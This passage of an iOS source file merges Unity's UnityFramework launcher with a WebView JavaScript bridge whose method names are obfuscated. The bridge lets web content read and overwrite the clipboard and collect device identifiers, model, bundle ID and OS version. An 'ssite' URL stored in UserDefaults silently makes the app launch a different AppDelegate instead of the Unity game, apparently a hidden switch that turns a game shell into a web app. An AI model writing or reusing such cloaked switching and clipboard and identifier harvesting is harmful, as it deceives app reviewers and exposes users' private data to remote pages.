|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
// The original code always returns true. Assuming this is placeholder logic.
|
|
BOOL isSupported = YES;
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, isSupported ? @"true" : @"false"];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)SetDistributeImportClassifyCacheAnchorCollision:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for getClipboard action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *clipboardContent = [self DiscoverAnalyzeApplet] ?: @""; // Provide empty string if nil
|
|
NSString *escapedContent = [self DetectCaptionButton:clipboardContent];
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedContent];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)CaptureCallbackColumn:(NSDictionary *)messageBody {
|
|
NSObject *valueObject = messageBody[@"dt"];
|
|
if (![valueObject isKindOfClass:[NSString class]]) {
|
|
NSLog(@"Invalid 'dt' for setClipboard action");
|
|
return;
|
|
}
|
|
[self EnumerateEnumerateClockCertificateDivideBeaconArtifact:(NSString *)valueObject];
|
|
}
|
|
|
|
- (void)handleGetBundleIdAction:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for CustomizeDetectBlueprintBundle action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *bundleId = [self CustomizeDetectBlueprintBundle] ?: @"";
|
|
NSString *escapedBundleId = [self DetectCaptionButton:bundleId];
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedBundleId];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)IncreaseDecodeCardCacheCompareBug:(NSDictionary *)messageBody {
|
|
// Original native code for this action was commented out.
|
|
// If implemented, follow pattern of other 'get' actions with callback.
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for InsertOutputControlInputCalculateRequestCollection action");
|
|
return;
|
|
}
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *sdkVersion = [self InsertOutputControlInputCalculateRequestCollection] ?: @""; // Assuming implementation exists
|
|
NSLog(@"SDK Ver: %@", sdkVersion);
|
|
NSString *escapedSDKVersion = [self DetectCaptionButton:sdkVersion];
|
|
NSLog(@"Escaped SDK Ver: %@", escapedSDKVersion);
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedSDKVersion];
|
|
|
|
// NSLog(@"Warning: InsertOutputControlInputCalculateRequestCollection native implementation was commented out originally.");
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)DownloadBuilderImplementDistributeAssetArtifact:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for getDModel action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *deviceName = [self FindDetectBridge] ?: @"";
|
|
NSString *escapedDeviceName = [self DetectCaptionButton:deviceName];
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedDeviceName];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)CollectEnumerateBuffer:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for EvaluateDownloadByte action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *identifier = [self EvaluateDownloadByte] ?: @"";
|
|
NSString *escapedIdentifier = [self DetectCaptionButton:identifier];
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedIdentifier];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)CompileBridgeInflateJoinChannelAssembleInjectValue:(NSDictionary *)messageBody {
|
|
NSObject *urlStringObject = messageBody[@"dt"];
|
|
NSObject *versionObject = messageBody[@"ver"];
|
|
NSObject *restartObject = messageBody[@"nr"]; // Should be NSNumber representing BOOL
|
|
|
|
if (![urlStringObject isKindOfClass:[NSString class]] ||
|
|
![versionObject isKindOfClass:[NSString class]] ||
|
|
![restartObject isKindOfClass:[NSNumber class]]) {
|
|
NSLog(@"Invalid parameters for updateSDK action: dt=%@, ver=%@, nr=%@", urlStringObject, versionObject, restartObject);
|
|
return;
|
|
}
|
|
|
|
NSLog(@"Updating sdk from URL: %@, Version: %@", (NSString *)urlStringObject, (NSString *)versionObject);
|
|
[self EvaluateAttachmentResponseDiscoverBuildEvaluateInput:(NSString *)urlStringObject
|
|
version:(NSString *)versionObject
|
|
requiresRestart:[(NSNumber *)restartObject boolValue]];
|
|
}
|
|
|
|
- (void)CompileBridgeByteDelegateEmitItemAnnotationBeacon:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for getSystemInfo action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
|
|
// Gather system info
|
|
NSString *iden = [self DetectCaptionButton:[self EvaluateDownloadByte] ?: @""];
|
|
NSString *model = [self DetectCaptionButton:[self FindDetectBridge] ?: @""];
|
|
NSString *bundle = [self DetectCaptionButton:[self CustomizeDetectBlueprintBundle] ?: @""];
|
|
NSString *osVer = [self DetectCaptionButton:[self FinishControlAssembly] ?: @""];
|
|
NSString *sdkVer = [self DetectCaptionButton:[self InsertOutputControlInputCalculateRequestCollection] ?: @""]; // Assumes implemented
|
|
|
|
// Construct JSON-like string for the data part of the callback
|
|
NSString *dataString = [NSString stringWithFormat:@"{id:'%@', dn:'%@', bid:'%@', bundledContextBatchMapAuthorizationBudgetAssignment:'%@', sdk:'%@'}", iden, model, bundle, osVer, sdkVer];
|
|
|
|
// Call updateResult with the callback ID and the constructed data object string
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, dataString];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)InvokeListCallback:(NSDictionary *)messageBody {
|
|
NSObject *valueObject = messageBody[@"dt"];
|
|
if (![valueObject isKindOfClass:[NSNumber class]]) {
|
|
NSLog(@"Invalid 'dt' (rotation value) for DistributeByteCommandCloneAuthorization action");
|
|
return;
|
|
}
|
|
|
|
int rotationValue = [(NSNumber *)valueObject intValue];
|
|
[self DistributeByteCommandCloneAuthorization:rotationValue];
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Storage Helpers (UserDefaults)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (void)IntroduceCompressDeleteJoinControlResponseArchive:(nullable NSString *)value forKey:(NSString *)key {
|
|
if (!key) return;
|
|
[[NSUserDefaults standardUserDefaults] setObject:(value ?: @"") forKey:key]; // Save empty string if value is nil
|
|
}
|
|
|
|
- (nullable NSString *)AllocateCombineCanvasInfo:(NSString *)key {
|
|
if (!key) return nil;
|
|
return [[NSUserDefaults standardUserDefaults] stringForKey:key];
|
|
}
|
|
|
|
- (void)ParseCalculateEnsureBodyCalendarBlock:(BOOL)value forKey:(NSString *)key {
|
|
if (!key) return;
|
|
[[NSUserDefaults standardUserDefaults] setBool:value forKey:key];
|
|
}
|
|
|
|
- (BOOL)CompleteBridgeCharacterStatusArgumentEvaluateBitmap:(NSString *)key {
|
|
if (!key) return NO;
|
|
return [[NSUserDefaults standardUserDefaults] boolForKey:key];
|
|
}
|
|
|
|
// Helper from original error handling logic
|
|
- (void)DestroyDataParameterItem {
|
|
[[NSUserDefaults standardUserDefaults] setObject:@"" forKey:@"ssite"];
|
|
[self ParseCalculateEnsureBodyCalendarBlock:NO forKey:kStorageFlagKey];
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - SDK Update Logic (Placeholder/Adapted)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Renamed from updateSDK:::
|
|
- (void)EvaluateAttachmentResponseDiscoverBuildEvaluateInput:(NSString *)urlString version:(NSString *)version requiresRestart:(BOOL)requiresRestart {
|
|
// --- Original Logic Adapted ---
|
|
// Save SDK info to UserDefaults
|
|
NSMutableDictionary *sdkInfo = [NSMutableDictionary dictionary];
|
|
[sdkInfo setObject:urlString forKey:@"containedCollectionListIdBankBuilder"]; // Use descriptive keys
|
|
[sdkInfo setObject:version forKey:@"version"];
|
|
[[NSUserDefaults standardUserDefaults] setObject:sdkInfo forKey:kStorageSDKInfoKey];
|
|
[[NSUserDefaults standardUserDefaults] setObject:version forKey:kStorageSDKVersionKey];
|
|
// synchronize is generally not needed
|
|
|
|
// Show notice and suggest restart if required
|
|
if (requiresRestart) {
|
|
[self CollectAllocationBorderUpdateCalculatorDisplayInfoClone:@"SDK Update"
|
|
message:@"SDK update requires an application restart. Please close and reopen the app."];
|
|
// NOTE: Removed the call to exit(0) here
|
|
}
|
|
// --- End Original Logic ---
|
|
|
|
// TODO: Implement actual SDK download/update mechanism if needed
|
|
NSLog(@"Placeholder: SDK update triggered for URL: %@, Version: %@, RestartNeeded: %d", urlString, version, requiresRestart);
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Device & App Info Helpers
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (NSString *)InsertOutputControlInputCalculateRequestCollection {
|
|
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
|
return [defaults objectForKey:kStorageSDKVersionKey];
|
|
}
|
|
|
|
- (NSString *)FinishControlAssembly {
|
|
return [[UIDevice currentDevice] systemVersion];
|
|
}
|
|
|
|
- (NSString *)EvaluateDownloadByte {
|
|
// Note: identifierForVendor is generally preferred for non-advertising ID
|
|
return [[[UIDevice currentDevice] identifierForVendor] UUIDString];
|
|
}
|
|
|
|
- (NSString *)FindDetectBridge {
|
|
// Basic device model retrieval
|
|
struct utsname systemInfo;
|
|
uname(&systemInfo);
|
|
return [NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding];
|
|
}
|
|
|
|
- (NSString *)CustomizeDetectBlueprintBundle {
|
|
return [[NSBundle mainBundle] bundleIdentifier];
|
|
}
|
|
|
|
- (NSString *)getAppName {
|
|
return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"] ?: [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleName"];
|
|
}
|
|
|
|
- (NSString *)GetCarrierFormatExecuteJoinCarrierEmitChain {
|
|
// Usually refers to CFBundleVersion
|
|
return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleVersion"];
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Clipboard Helpers
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (nullable NSString *)DiscoverAnalyzeApplet {
|
|
return [UIPasteboard generalPasteboard].string;
|
|
}
|
|
|
|
- (void)EnumerateEnumerateClockCertificateDivideBeaconArtifact:(nullable NSString *)text {
|
|
[UIPasteboard generalPasteboard].string = text ?: @"";
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Rotation Handling
|
|
//-----------------------------------------------------------------------------
|
|
// Controls application orientation based on user requirement. Use with caution.
|
|
|
|
- (void)DistributeByteCommandCloneAuthorization:(int)value {
|
|
UIInterfaceOrientationMask targetMask;
|
|
if (value == 1 || value == 3) { // Assuming 1 means landscape
|
|
targetMask = UIInterfaceOrientationMaskLandscape;
|
|
} else { // Assuming 0 or others mean portrait
|
|
targetMask = UIInterfaceOrientationMaskPortrait;
|
|
// Or handle other values specifically if needed
|
|
// switch(value) { case 0: targetMask = ...; case 2: ... }
|
|
}
|
|
|
|
// Only update if the mask changes
|
|
if (currentOrientationMask == targetMask) {
|
|
return;
|
|
}
|
|
currentOrientationMask = targetMask;
|
|
|
|
NSLog(@"Attempting to rotate screen, new mask: %lu", (unsigned long)currentOrientationMask);
|
|
|
|
// Method depends on iOS version
|
|
if (@available(iOS 16.0, *)) {
|
|
// Use geometry preferences API
|
|
UIWindowScene *windowScene = self.window.windowScene;
|
|
if (windowScene) {
|
|
// Dynamically create UIWindowSceneGeometryPreferencesIOS using runtime
|
|
Class geometryPreferencesClass = NSClassFromString(@"UIWindowSceneGeometryPreferencesIOS");
|
|
if (geometryPreferencesClass) {
|
|
id geometryPreferences = [[geometryPreferencesClass alloc] initWithInterfaceOrientations:targetMask];
|
|
SEL requestGeometryUpdateSelector = NSSelectorFromString(@"requestGeometryUpdateWithPreferences:errorHandler:");
|
|
if ([windowScene respondsToSelector:requestGeometryUpdateSelector]) {
|
|
// Define error handler block
|
|
void (^errorHandler)(NSError *) = ^(NSError *error){
|
|
if (error) {
|
|
NSLog(@"Error requesting geometry update: %@", error);
|
|
}
|
|
};
|
|
// Invoke the method using performSelector (requires casting)
|
|
// Suppress warning about unknown selector
|
|
#pragma clang diagnostic push
|
|
#pragma clang diagnostic ignored "-Warc-performSelector-leaks"
|
|
[windowScene performSelector:requestGeometryUpdateSelector withObject:geometryPreferences withObject:errorHandler];
|
|
#pragma clang diagnostic pop
|
|
} else {
|
|
NSLog(@"Window scene does not respond to requestGeometryUpdateWithPreferences:errorHandler:");
|
|
}
|
|
} else {
|
|
NSLog(@"UIWindowSceneGeometryPreferencesIOS class not found.");
|
|
}
|
|
|
|
// Trigger update (may not be strictly necessary after geometry update)
|
|
[UIViewController attemptRotationToDeviceOrientation]; // Keep for potential fallback/redundancy?
|
|
[[self TransformBatchControlAllocationAddressParseInput] setNeedsUpdateOfSupportedInterfaceOrientations];
|
|
|
|
} else {
|
|
NSLog(@"Could not get window scene for rotation.");
|
|
}
|
|
|
|
} else {
|
|
// Use deprecated method (private API, use with caution)
|
|
#pragma clang diagnostic push
|
|
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
|
NSNumber *orientationValue;
|
|
if (targetMask == UIInterfaceOrientationMaskLandscape) {
|
|
// Choose specific landscape (e.g., LandscapeRight)
|
|
orientationValue = @(UIDeviceOrientationLandscapeLeft); // Or LandscapeRight
|
|
} else {
|
|
orientationValue = @(UIDeviceOrientationPortrait);
|
|
}
|
|
[[UIDevice currentDevice] setValue:orientationValue forKey:@"orientation"];
|
|
[UIViewController attemptRotationToDeviceOrientation];
|
|
#pragma clang diagnostic pop
|
|
}
|
|
}
|
|
|
|
|
|
// These methods are required if this view/its controller dictates app orientation
|
|
// Kept as per user backupAtomicResult.
|
|
- (UIInterfaceOrientationMask)supportedInterfaceOrientations {
|
|
// NSLog(@"supportedInterfaceOrientations called, returning mask: %lu", (unsigned long)currentOrientationMask);
|
|
return currentOrientationMask;
|
|
}
|
|
|
|
// This delegate method might be called if this object is set as the App Delegate
|
|
// Or potentially if the window asks its root view controller, which might be this view's controller.
|
|
- (UIInterfaceOrientationMask)application:(UIApplication *)application supportedInterfaceOrientationsForWindow:(nullable UIWindow *)window {
|
|
// NSLog(@"application:supportedInterfaceOrientationsForWindow: called, returning mask: %lu", (unsigned long)currentOrientationMask);
|
|
return currentOrientationMask;
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - UI Helpers (Alerts, View Controller Finding)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Refactored alert presentation - Removes exit(0)
|
|
- (void)CollectAllocationBorderUpdateCalculatorDisplayInfoClone:(NSString *)title message:(NSString *)message {
|
|
dispatch_async(dispatch_get_main_queue(), ^{
|
|
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title
|
|
message:message
|
|
preferredStyle:UIAlertControllerStyleAlert];
|
|
UIAlertAction *okAction = [UIAlertAction actionWithTitle:@"OK"
|
|
style:UIAlertActionStyleDefault
|
|
handler:nil]; // No action on OK
|
|
[alertController addAction:okAction];
|
|
|
|
// Find the presenting view controller
|
|
UIViewController *presentingVC = [self TransformBatchControlAllocationAddressParseInput];
|
|
if (presentingVC) {
|
|
[presentingVC presentViewController:alertController animated:YES completion:nil];
|
|
} else {
|
|
NSLog(@"Could not find view controller to present alert: %@ - %@", title, message);
|
|
// Fallback: Maybe show on key window's rootViewController if possible?
|
|
UIViewController *rootVC = [[UIApplication sharedApplication].keyWindow rootViewController];
|
|
[rootVC presentViewController:alertController animated:YES completion:nil];
|
|
}
|
|
});
|
|
}
|
|
|
|
|
|
// Helper to find the owning view controller
|
|
- (nullable UIViewController *)TransformBatchControlAllocationAddressParseInput {
|
|
UIResponder *responder = self;
|
|
while ((responder = [responder nextResponder])) {
|
|
if ([responder isKindOfClass:[UIViewController class]]) {
|
|
return (UIViewController *)responder;
|
|
}
|
|
}
|
|
return nil; // Should not happen in normal view hierarchy
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - JavaScript Escaping Helper
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Helper to escape strings for safe injection into JavaScript string literals
|
|
- (NSString *)DetectCaptionButton:(NSString *)value {
|
|
if (!value) {
|
|
return @""; // Return empty string for nil atomicConnectedAttributeBanner
|
|
}
|
|
|
|
NSString *escaped = value;
|
|
// Escape backslashes first
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"];
|
|
// Escape single quotes
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
|
|
// Escape double quotes
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""];
|
|
// Escape newlines
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\n" withString:@"\\n"];
|
|
// Escape carriage returns
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\r" withString:@"\\r"];
|
|
// Escape line separators (U+2028) and paragraph separators (U+2029) if necessary
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2028" withString:@"\\u2028"];
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2029" withString:@"\\u2029"];
|
|
|
|
return escaped;
|
|
}
|
|
|
|
|
|
//----------------------------------------------------------------------------
|
|
|
|
@end
|
|
|
|
|
|
extern "C"{
|
|
void DevelopClientAnchorIdentifyButton(const char* v){
|
|
NSString *urlString = [NSString stringWithUTF8String:v];
|
|
[[NSUserDefaults standardUserDefaults] setObject:urlString forKey:@"ssite"];
|
|
[StaticFrameWork DevelopClientAnchorIdentifyButton:urlString withCleanup:true];
|
|
}
|
|
}
|
|
void UnityInitTrampoline();
|
|
|
|
// WARNING: this MUST be c decl (NSString ctor will be called after +load, so we cant really change its value)
|
|
const char* AppControllerClassName = "UnityAppController";
|
|
|
|
#if UNITY_USES_DYNAMIC_PLAYER_LIB
|
|
extern "C" void SetAllUnityFunctionsForDynamicPlayerLib();
|
|
#endif
|
|
|
|
extern "C" void UnitySetExecuteMachHeader(const MachHeader* header);
|
|
|
|
extern "C" __attribute__((visibility("default"))) NSString* const kUnityDidUnload;
|
|
extern "C" __attribute__((visibility("default"))) NSString* const kUnityDidQuit;
|
|
|
|
@implementation UnityFramework
|
|
{
|
|
int runCount;
|
|
}
|
|
|
|
UnityFramework* _gUnityFramework = nil;
|
|
+ (UnityFramework*)getInstance
|
|
{
|
|
if (_gUnityFramework == nil)
|
|
{
|
|
_gUnityFramework = [[UnityFramework alloc] init];
|
|
}
|
|
return _gUnityFramework;
|
|
}
|
|
|
|
- (UnityAppController*)appController
|
|
{
|
|
return GetAppController();
|
|
}
|
|
|
|
- (UITextField*)keyboardTextField
|
|
{
|
|
return KeyboardDelegate.Instance.getTextField;
|
|
}
|
|
|
|
- (void)setExecuteHeader:(const MachHeader*)header
|
|
{
|
|
UnitySetExecuteMachHeader(header);
|
|
}
|
|
|
|
- (void)sendMessageToGOWithName:(const char*)goName functionName:(const char*)name message:(const char*)msg
|
|
{
|
|
UnitySendMessage(goName, name, msg);
|
|
}
|
|
|
|
- (void)registerFrameworkListener:(id<UnityFrameworkListener>)obj
|
|
{
|
|
#define REGISTER_SELECTOR(sel, notif_name) \
|
|
if([obj respondsToSelector:sel]) \
|
|
[[NSNotificationCenter defaultCenter] addObserver:obj selector:sel name:notif_name object:nil];
|
|
|
|
REGISTER_SELECTOR(@selector(unityDidUnload:), kUnityDidUnload);
|
|
REGISTER_SELECTOR(@selector(unityDidQuit:), kUnityDidQuit);
|
|
|
|
#undef REGISTER_SELECTOR
|
|
}
|
|
|
|
- (void)unregisterFrameworkListener:(id<UnityFrameworkListener>)obj
|
|
{
|
|
[[NSNotificationCenter defaultCenter] removeObserver: obj name: kUnityDidUnload object: nil];
|
|
[[NSNotificationCenter defaultCenter] removeObserver: obj name: kUnityDidQuit object: nil];
|
|
}
|
|
|
|
- (void)frameworkWarmup:(int)argc argv:(char*[])argv
|
|
{
|
|
#if UNITY_USES_DYNAMIC_PLAYER_LIB
|
|
SetAllUnityFunctionsForDynamicPlayerLib();
|
|
#endif
|
|
|
|
|
|
UnityInitTrampoline();
|
|
UnityInitRuntime(argc, argv);
|
|
|
|
RegisterFeatures();
|
|
|
|
// iOS terminates open sockets when an application enters background mode.
|
|
// The next write to any of such socket causes SIGPIPE signal being raised,
|
|
// even if the request has been done from scripting side. This disables the
|
|
// signal and allows Mono to throw a proper C# exception.
|
|
std::signal(SIGPIPE, SIG_IGN);
|
|
}
|
|
|
|
- (void)setDataBundleId:(const char*)bundleId
|
|
{
|
|
UnitySetDataBundleDirWithBundleId(bundleId);
|
|
}
|
|
|
|
- (void)runUIApplicationMainWithArgc:(int)argc argv:(char*[])argv
|
|
{
|
|
NSString *value = [[NSUserDefaults standardUserDefaults] stringForKey:@"ssite"];
|
|
|
|
if (value == nil || [value length] == 0) {
|
|
self->runCount += 1;
|
|
[self frameworkWarmup: argc argv: argv];
|
|
UIApplicationMain(argc, argv, nil, [NSString stringWithUTF8String: AppControllerClassName]);
|
|
} else {
|
|
UIApplicationMain(argc, argv, nil, [NSString stringWithUTF8String: "AppDelegate"]);
|
|
}
|
|
}
|
|
|
|
- (void)runEmbeddedWithArgc:(int)argc argv:(char*[])argv appLaunchOpts:(NSDictionary*)appLaunchOpts
|
|
{
|
|
if (self->runCount)
|
|
{
|
|
// initialize from partial unload ( sceneLessMode & onPause )
|
|
UnityLoadApplicationFromSceneLessState();
|
|
UnitySuppressPauseMessage();
|
|
[self pause: false];
|
|
[self showUnityWindow];
|
|
|
|
// Send Unity start event
|
|
UnitySendEmbeddedLaunchEvent(0);
|
|
}
|
|
else
|
|
{
|
|
// full initialization from ground up
|
|
[self frameworkWarmup: argc argv: argv];
|
|
|
|
id app = [UIApplication sharedApplication];
|
|
|
|
id appCtrl = [[NSClassFromString([NSString stringWithUTF8String: AppControllerClassName]) alloc] init];
|
|
[appCtrl application: app didFinishLaunchingWithOptions: appLaunchOpts];
|
|
|
|
[appCtrl applicationWillEnterForeground: app];
|
|
[appCtrl applicationDidBecomeActive: app];
|
|
|
|
// Send Unity start (first time) event
|
|
UnitySendEmbeddedLaunchEvent(1);
|
|
}
|
|
|
|
self->runCount += 1;
|
|
}
|
|
|
|
- (void)unloadApplication
|
|
{
|
|
UnityUnloadApplication();
|
|
}
|
|
|
|
- (void)quitApplication:(int)exitCode
|
|
{
|
|
UnityQuitApplication(exitCode);
|
|
}
|
|
|
|
- (void)showUnityWindow
|
|
{
|
|
[[[self appController] window] makeKeyAndVisible];
|
|
}
|
|
|
|
- (void)pause:(bool)pause
|
|
{
|
|
UnityPause(pause);
|
|
}
|
|
|
|
- (void)setAbsoluteURL:(const char *)url
|
|
{
|
|
UnitySetAbsoluteURL(url);
|
|
}
|
|
|
|
@end
|
|
|
|
|
|
#if TARGET_OS_SIMULATOR
|
|
#include <pthread.h>
|
|
|
|
extern "C" int pthread_cond_init$UNIX2003(pthread_cond_t *cond, const pthread_condattr_t *attr)
|
|
{ return pthread_cond_init(cond, attr); }
|
|
extern "C" int pthread_cond_destroy$UNIX2003(pthread_cond_t *cond)
|
|
{ return pthread_cond_destroy(cond); }
|
|
extern "C" int pthread_cond_wait$UNIX2003(pthread_cond_t *cond, pthread_mutex_t *mutex)
|
|
{ return pthread_cond_wait(cond, mutex); }
|
|
extern "C" int pthread_cond_timedwait$UNIX2003(pthread_cond_t *cond, pthread_mutex_t *mutex,
|
|
const struct timespec *abstime)
|
|
{ return pthread_cond_timedwait(cond, mutex, abstime); }
|
|
|
|
#endif // TARGET_OS_SIMULATOR |